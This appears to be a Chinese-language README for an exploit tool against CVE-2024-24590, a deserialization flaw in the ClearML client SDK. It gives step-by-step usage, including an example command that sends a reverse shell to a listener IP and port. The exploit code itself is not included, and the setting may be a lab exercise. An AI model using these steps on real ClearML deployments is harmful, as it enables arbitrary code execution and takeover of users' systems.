CVE-2024-24590

在 Allegro AI 的 ClearML 平台客户端 SDK 的 0.17.0 至 1.14.2 版本中，存在未受信任数据反序列化问题，导致恶意上传的工件与用户交互时可在终端用户系统上执行任意代码。

使用方法

1. 粘贴提供的凭据并运行 clearml-init
2. 在一个终端中运行 exploit.py Python 脚本，在另一个终端中设置监听器
3. 可能需要多次运行 exploit 才能获得反弹 shell

usage: exploit.py [-h] -i IP -p PORT -P PROJECT

options:
  -h, --help  显示此帮助信息并退出
  -i IP       监听器的 IP 地址
  -p PORT     监听器的端口号
  -P PROJECT  现有项目的名称

example: python exploit.py -i 10.10.14.60 -p 4444 -P 'Black Swan'

漏洞详情

1. https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/
2. https://www.cvedetails.com/cve/CVE-2024-24590/